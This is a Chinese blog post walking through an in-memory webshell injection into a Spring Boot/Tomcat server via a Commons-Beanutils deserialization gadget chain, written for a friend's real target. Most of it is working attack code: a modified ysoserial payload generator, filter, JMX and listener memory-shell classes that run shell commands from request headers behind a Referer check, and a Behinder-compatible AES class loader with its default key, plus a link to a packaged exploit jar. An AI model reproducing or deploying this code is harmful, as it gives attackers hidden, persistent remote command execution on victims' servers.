朋友叫帮忙打一个内存马进去,用的是cb链,无cc依赖,我寻思这不是有手就行吗,谁知道接下来遇到了无数的坑。

改造cb链去除cc依赖

这个是p牛讲过的了,不多说,直接贴代码

 1public Object getObject(final String command) throws Exception {
 2    final Object template = Gadgets.createTemplatesImpl(command);
 3    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
 4
 5    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
 6    queue.add("1");
 7    queue.add("1");
 8
 9    Reflections.setFieldValue(comparator, "property", "outputProperties");
10
11    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
12    queueArray[0] = template;
13    queueArray[1] = template;
14
15    return queue;
16}

String.CASE_INSENSITIVE_ORDER替换掉cc的org.apache.commons.collections.comparators.ComparableComparator

然后是内存马的地方,修改了ysoserial.payloads.util.Gadgets的createTemplatesImpl来加载自定义的class文件。

 1public static Object createTemplatesImpl(String command) throws Exception {
 2    command = command.trim();
 3    Class tplClass;
 4    Class abstTranslet;
 5    Class transFactory;
 6
 7    if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
 8        tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
 9        abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
10        transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
11    } else {
12        tplClass = TemplatesImpl.class;
13        abstTranslet = AbstractTranslet.class;
14        transFactory = TransformerFactoryImpl.class;
15    }
16
17    if (command.startsWith("CLASS:")) {
18        // 这里不能让它初始化,不然从线程中获取WebappClassLoaderBase时会强制类型转换异常。
19        Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Gadgets.class.getClassLoader());
20        return createTemplatesImpl(clazz, null, null, tplClass, abstTranslet, transFactory);
21    } else if (command.startsWith("FILE:")) {
22        byte[] bs = Files.readBytes(new File(command.substring(5)));
23        return createTemplatesImpl(null, null, bs, tplClass, abstTranslet, transFactory);
24    } else {
25        if (command.startsWith("CMD:")) command = command.substring(4);
26        return createTemplatesImpl(null, command, null, tplClass, abstTranslet, transFactory);
27    }
28}
29
30
31public static <T> T createTemplatesImpl(Class myClass, final String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
32    final T templates = tplClass.newInstance();
33    byte[] classBytes = new byte[0];
34    ClassPool pool = ClassPool.getDefault();
35    pool.insertClassPath(new ClassClassPath(abstTranslet));
36    CtClass superC = pool.get(abstTranslet.getName());
37    CtClass ctClass;
38    if (command != null) {
39        ctClass = pool.get("ysoserial.payloads.templates.CommandTemplate");
40        ctClass.setName(ctClass.getName() + System.nanoTime());
41        String cmd = "cmd = \"" + command + "\";";
42        ctClass.makeClassInitializer().insertBefore(cmd);
43        ctClass.setSuperclass(superC);
44        classBytes = ctClass.toBytecode();
45    }
46    if (myClass != null) {
47        // CLASS:
48        if (myClass.getName().contains("SpringInterceptorMemShell")) {
49            // memShellClazz
50            ctClass = pool.get(myClass.getName());
51            // 修改b64字节码
52            CtClass springTemplateClass = pool.get("ysoserial.payloads.templates.SpringInterceptorTemplate");
53            String clazzName = "ysoserial.payloads.templates.SpringInterceptorTemplate" + System.nanoTime();
54            springTemplateClass.setName(clazzName);
55            String encode = Base64.encodeBase64String(springTemplateClass.toBytecode());
56            String b64content = "b64=\"" + encode + "\";";
57            ctClass.makeClassInitializer().insertBefore(b64content);
58            // 修改SpringInterceptorMemShell随机命名 防止二次打不进去
59            String clazzNameContent = "clazzName=\"" + clazzName + "\";";
60            ctClass.makeClassInitializer().insertBefore(clazzNameContent);
61            ctClass.setName(SpringInterceptorMemShell.class.getName() + System.nanoTime());
62            ctClass.setSuperclass(superC);
63            classBytes = ctClass.toBytecode();
64        } else {
65            classBytes = ClassFiles.classAsBytes(myClass);
66        }
67    }
68    if (bytes != null) {
69        // FILE:
70        ctClass = pool.get("ysoserial.payloads.templates.ClassLoaderTemplate");
71        ctClass.setName(ctClass.getName() + System.nanoTime());
72        StringBuffer sb = new StringBuffer();
73        for (int i = 0; i < bytes.length; i++) {
74            sb.append(bytes[i]);
75            if (i != bytes.length - 1) sb.append(",");
76        }
77        String content = "bs = new byte[]{" + sb + "};";
78        // System.out.println(content);
79        ctClass.makeClassInitializer().insertBefore(content);
80        ctClass.setSuperclass(superC);
81        classBytes = ctClass.toBytecode();
82    }
83
84
85    // inject class bytes into instance
86    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
87
88    // required to make TemplatesImpl happy
89    Reflections.setFieldValue(templates, "_name", "Pwnr");
90    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
91    return templates;
92}

接下来就是static写注册servlet、filter的代码了。写一个servlet/filter继承AbstractTranslet并且实现对应接口和方法。目标是springboot的,我寻思写个tomcat filter就能整。

 1public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
 2    static {
 3        try {
 4            final String name = "MyFilterVersion" + System.nanoTime();
 5            final String URLPattern = "/*";
 6
 7            WebappClassLoaderBase webappClassLoaderBase =
 8                (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
 9            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
10
11            Class<? extends StandardContext> aClass = null;
12            try {
13                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
14                aClass.getDeclaredField("filterConfigs");
15            } catch (Exception e) {
16                aClass = (Class<? extends StandardContext>) standardContext.getClass();
17                aClass.getDeclaredField("filterConfigs");
18            }
19            Field Configs = aClass.getDeclaredField("filterConfigs");
20            Configs.setAccessible(true);
21            Map filterConfigs = (Map) Configs.get(standardContext);
22
23            TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();
24
25            FilterDef filterDef = new FilterDef();
26            filterDef.setFilter(behinderFilter);
27            filterDef.setFilterName(name);
28            filterDef.setFilterClass(behinderFilter.getClass().getName());
29            /**
30             * 将filterDef添加到filterDefs中
31             */
32            standardContext.addFilterDef(filterDef);
33
34            FilterMap filterMap = new FilterMap();
35            filterMap.addURLPattern(URLPattern);
36            filterMap.setFilterName(name);
37            filterMap.setDispatcher(DispatcherType.REQUEST.name());
38
39            standardContext.addFilterMapBefore(filterMap);
40
41            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
42            constructor.setAccessible(true);
43            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
44
45            filterConfigs.put(name, filterConfig);
46        } catch (Exception e) {
47//            e.printStackTrace();
48        }
49    }
50...
51    @Override
52    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
53        HttpServletRequest request = (HttpServletRequest) servletRequest;
54        HttpServletResponse response = (HttpServletResponse) servletResponse;
55            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
56                response.getWriter().println("error");
57                return;
58            }
59        filterChain.doFilter(servletRequest, servletResponse);
60    }
61}

按理说这样绝对没问题,事实证明确实没问题,访问内存马输出了error。接下来向里写冰蝎的马,这也是第一个坑。我的内存马如下

 1@Override
 2public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
 3    try {
 4        HttpServletRequest request = (HttpServletRequest) req;
 5        HttpServletResponse response = (HttpServletResponse) resp;
 6        HttpSession session = request.getSession();
 7
 8        //create pageContext
 9        HashMap pageContext = new HashMap();
10        pageContext.put("request", request);
11        pageContext.put("response", response);
12        pageContext.put("session", session);
13
14        if (request.getMethod().equals("GET")) {
15            String cmd = request.getHeader("cmd");
16            if (cmd != null && !cmd.isEmpty()) {
17                String[] cmds = null;
18                if (File.separator.equals("/")) {
19                    cmds = new String[]{"/bin/sh", "-c", cmd};
20                } else {
21                    cmds = new String[]{"cmd", "/c", cmd};
22                }
23                String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
24                response.getWriter().println(result);
25            }
26        } else if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
27            if (request.getMethod().equals("POST")) {
28                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
29                session.putValue("u", k);
30                Cipher c = Cipher.getInstance("AES");
31                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
32
33                //revision BehinderFilter
34                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
35                method.setAccessible(true);
36                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
37                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
38                evilclass.newInstance().equals(pageContext);
39            }
40        }
41    } catch (Exception e) {
42//            e.printStackTrace();
43    }
44}

问题来了,cmdshell可以输出响应结果,而连接冰蝎总是报request.getReader().readLine()空指针。这是我踩得第一个坑。

包装类问题

目标环境是springboot2.0.9,内嵌tomcat。思来想去不应该request.getReader().readLine()空指针啊,然后一步一步在调,发现service中获取的参数是经过了包装的类。我这里用springboot模拟一个包装类。在MyFilter中

1public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
2    ContentCachingResponseWrapper responseWrapper = new ContentCachingResponseWrapper((HttpServletResponse) response);
3    ContentCachingRequestWrapper requestWrapper = new ContentCachingRequestWrapper((HttpServletRequest) request);
4    chain.doFilter(requestWrapper, responseWrapper);
5    responseWrapper.copyBodyToResponse();
6}

向下传递的是经过ContentCaching包装的request和response。然后再另一个filter中,尝试request.getReader().readLine()确实报了空指针,导致冰蝎连不上。

1.png

然后我寻思我反射从从coyoteRequest中拼接body参数传递给冰蝎aes解密的decodeBufferc.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload)) 拼接完之后payload能正常获取了,也能正常解密了,然后evilclass.newInstance().equals(pageContext)的equals又出错了。

2.png

报了一个没有setCharacterEncoding方法。看了一下冰蝎的源码,发现net.rebeyond.behinder.payload.java.Echo#fillContext会进行反射调用setCharacterEncoding,但是ContentCachingResponseWrapper没有这个函数

3.png

除了这个地方,我又发现org.springframework.web.util.ContentCachingResponseWrapper.ResponseServletOutputStream#ResponseServletOutputStream的write函数重载没有只传入一个byte[]参数的

4.png

所以这个地方也会报错,导致冰蝎第一个请求包响应内容为空,进而导致连不上。

发现问题就解决问题。想过改冰蝎的class,但是工程量有点大,想了想还是改改内存马,不是包装类吗,我就拆了你的包装。

 1Object lastRequest = request;
 2Object lastResponse = response;
 3// 解决包装类RequestWrapper的问题
 4// 详细描述见 https://github.com/rebeyond/Behinder/issues/187
 5if (!(lastRequest instanceof RequestFacade)) {
 6    Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
 7    lastRequest = getRequest.invoke(request);
 8    while (true) {
 9        if (lastRequest instanceof RequestFacade) break;
10        lastRequest = getRequest.invoke(lastRequest);
11    }
12}
13// 解决包装类ResponseWrapper的问题
14if (!(lastResponse instanceof ResponseFacade)) {
15    Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
16    lastResponse = getResponse.invoke(response);
17    while (true) {
18        if (lastResponse instanceof ResponseFacade) break;
19        lastResponse = getResponse.invoke(lastResponse);
20    }
21}
22HttpSession session = ((RequestFacade) lastRequest).getSession();
23pageContext.put("request", lastRequest);
24pageContext.put("response", lastResponse);
25pageContext.put("session", session);

给冰蝎传的都是拆了包装的,这样解决了冰蝎class的问题,但是还有request.getReader().readLine()为空的问题。我是这么解决的,贴代码

 1String payload = request.getReader().readLine();
 2if (payload == null || payload.isEmpty()) {
 3    payload = "";
 4    // 拿到真实的Request对象而非门面模式的RequestFacade
 5    Field field = lastRequest.getClass().getDeclaredField("request");
 6    field.setAccessible(true);
 7    Request realRequest = (Request) field.get(lastRequest);
 8    // 从coyoteRequest中拼接body参数
 9    Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
10    coyoteRequestField.setAccessible(true);
11    org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
12    Parameters parameters = coyoteRequest.getParameters();
13    Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
14    paramHashValues.setAccessible(true);
15    LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);
16
17    Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
18    while (iterator.hasNext()) {
19        Map.Entry<String, ArrayList<String>> next = iterator.next();
20        String paramKey = next.getKey().replaceAll(" ", "+");
21        ArrayList<String> paramValueList = next.getValue();
22        String paramValue = paramValueList.get(0);
23        if (paramValueList.size() == 0) {
24            payload = payload + paramKey;
25        } else {
26            payload = payload + paramKey + "=" + paramValue;
27        }
28    }
29}
30
31System.out.println(payload);

需要注意这里判断payload是否为空,是因为在springboot2.6.3测试时request.getReader().readLine()可以获取到payload而采取拼接的话为空,而2.0.9.RELEASE只能采用拼接参数的形式。

到此解决了冰蝎连接的问题,但是实战中并不是这么思路明确的,踩坑过程

  1. 通过jmx注册filter,发现cmdshell都没有
  2. 通过线程注册filter,cmdshell可以 冰蝎连不上
  3. 猜测是spring的问题,于是我又试了spring的拦截器,发现cmd可以冰蝎还是不行。
  4. 最后硬调发现是包装类的问题,解决payload==null的问题。

springboot中的jmx名称

此时扭过头来看jmx注册servlet、filter,我在本地的tomcat发现可以成功,但是拿到springboot不行。先贴tomcat成功,springboot失败的代码

 1static {
 2    try {
 3        String filterName = "MyFilterVersion" + System.nanoTime();
 4        String urlPattern = "/*";
 5
 6        MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
 7        Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
 8        field.setAccessible(true);
 9        Object obj = field.get(mbeanServer);
10
11        field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
12        field.setAccessible(true);
13        Repository repository = (Repository) field.get(obj);
14
15        Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
16
17        for (NamedObject namedObject : objectSet) {
18            DynamicMBean dynamicMBean = namedObject.getObject();
19            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
20            field.setAccessible(true);
21            obj = field.get(dynamicMBean);
22
23            field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
24            field.setAccessible(true);
25            StandardContext standardContext = (StandardContext) field.get(obj);
26
27            field = standardContext.getClass().getDeclaredField("filterConfigs");
28            field.setAccessible(true);
29            HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);
30
31            if (map.get(filterName) == null) {
32                //生成 FilterDef
33                //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
34                Class filterDefClass = null;
35                try {
36                    filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
37                } catch (ClassNotFoundException e) {
38                    filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
39                }
40
41                Object filterDef = filterDefClass.newInstance();
42                filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, filterName);
43                Filter filter = new TomcatFilterMemShellFromJMX();
44
45                filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
46                filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);
47                standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef);
48
49                //设置 FilterMap
50                //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
51                Class filterMapClass = null;
52                try {
53                    filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
54                } catch (ClassNotFoundException e) {
55                    filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
56                }
57
58                Object filterMap = filterMapClass.newInstance();
59                filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, filterName);
60                filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name());
61                filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, urlPattern);
62                //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了
63                standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap);
64
65                //设置 FilterConfig
66                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
67                constructor.setAccessible(true);
68                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
69                map.put(filterName, filterConfig);
70            }
71        }
72    } catch (Exception e) {
73//            e.printStackTrace();
74    }
75}

在springboot动态调试之后发现Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null)为空集,于是在springboot中寻找jmx对象,发现名字改为了Tomcat而非Catalina,于是加一个if判断就解决了

1if (objectSet.size() == 0) {
2    // springboot的jmx中为Tomcat而非Catalina
3    objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
4}

Listener内存马

Listener内存马不存在包装类问题,可以直接写,感觉还是这个比较稳。

  1package ysoserial.payloads.templates;
  2
  3import com.sun.jmx.mbeanserver.NamedObject;
  4import com.sun.jmx.mbeanserver.Repository;
  5import com.sun.org.apache.xalan.internal.xsltc.DOM;
  6import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  7import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  8import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  9import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 10import org.apache.catalina.connector.Request;
 11import org.apache.catalina.connector.RequestFacade;
 12import org.apache.catalina.connector.Response;
 13import org.apache.catalina.core.StandardContext;
 14import org.apache.tomcat.util.modeler.Registry;
 15
 16import javax.crypto.Cipher;
 17import javax.crypto.spec.SecretKeySpec;
 18import javax.management.DynamicMBean;
 19import javax.management.MBeanServer;
 20import javax.management.ObjectName;
 21import javax.servlet.ServletRequestEvent;
 22import javax.servlet.ServletRequestListener;
 23import javax.servlet.http.HttpSession;
 24import java.lang.reflect.Field;
 25import java.lang.reflect.Method;
 26import java.util.HashMap;
 27import java.util.Scanner;
 28import java.util.Set;
 29
 30public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
 31    static {
 32        try {
 33            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
 34            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
 35            field.setAccessible(true);
 36            Object obj = field.get(mbeanServer);
 37
 38            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
 39            field.setAccessible(true);
 40            Repository repository = (Repository) field.get(obj);
 41
 42            Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
 43            if (objectSet.size() == 0) {
 44                // springboot的jmx中为Tomcat而非Catalina
 45                objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
 46            }
 47
 48            for (NamedObject namedObject : objectSet) {
 49                DynamicMBean dynamicMBean = namedObject.getObject();
 50                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
 51                field.setAccessible(true);
 52                obj = field.get(dynamicMBean);
 53
 54                field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
 55                field.setAccessible(true);
 56                StandardContext standardContext = (StandardContext) field.get(obj);
 57
 58                TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
 59                standardContext.addApplicationEventListener(listener);
 60            }
 61        } catch (Exception e) {
 62//            e.printStackTrace();
 63        }
 64    }
 65
 66    @Override
 67    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 68
 69    }
 70
 71    @Override
 72    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 73
 74    }
 75
 76    @Override
 77    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
 78
 79    }
 80
 81    @Override
 82    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
 83// Listener马没有包装类问题
 84        try {
 85            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
 86            Field f = requestFacade.getClass().getDeclaredField("request");
 87            f.setAccessible(true);
 88            Request request = (Request) f.get(requestFacade);
 89            Response response = request.getResponse();
 90            // 入口
 91            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
 92                // cmdshell
 93                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
 94                    String cmd = request.getHeader("cmd");
 95                    if (cmd != null && !cmd.isEmpty()) {
 96                        String[] cmds = null;
 97                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
 98                            cmds = new String[]{"cmd", "/c", cmd};
 99                        } else {
100                            cmds = new String[]{"/bin/bash", "-c", cmd};
101                        }
102                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
103                        response.resetBuffer();
104                        response.getWriter().println(result);
105                        response.flushBuffer();
106                        response.finishResponse();
107                    }
108                } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
109                    if (request.getMethod().equals("POST")) {
110                        // 创建pageContext
111                        HashMap pageContext = new HashMap();
112
113                        // lastRequest的session是没有被包装的session!!
114                        HttpSession session = request.getSession();
115                        pageContext.put("request", request);
116                        pageContext.put("response", response);
117                        pageContext.put("session", session);
118                        // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
119                        String payload = request.getReader().readLine();
120
121//                        System.out.println(payload);
122                        // 冰蝎逻辑
123                        String k = "e45e329feb5d925b"; // rebeyond
124                        session.putValue("u", k);
125                        Cipher c = Cipher.getInstance("AES");
126                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
127                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
128                        method.setAccessible(true);
129                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
130                        Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
131                        evilclass.newInstance().equals(pageContext);
132                    }
133                } else {
134                    response.resetBuffer();
135                    response.getWriter().println("error");
136                    response.flushBuffer();
137                    response.finishResponse();
138                }
139            }
140        } catch (Exception e) {
141//            e.printStackTrace();
142        }
143    }
144}

总结

解决了springboot包装类和从jmx中拿到StandardContext的问题,写了servlet、filter、listener、Spring Interceptor内存马发现Listener内存马兼容性更强,

因为这一个内存马,我和朋友 @汤姆 连着一星期3点睡觉7点起,感觉阎王快夸我好身体了……

打包好的jar包在 https://ysoserial.y4er.com/ysoserial-0.0.6-SNAPSHOT-all.jar 下载

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。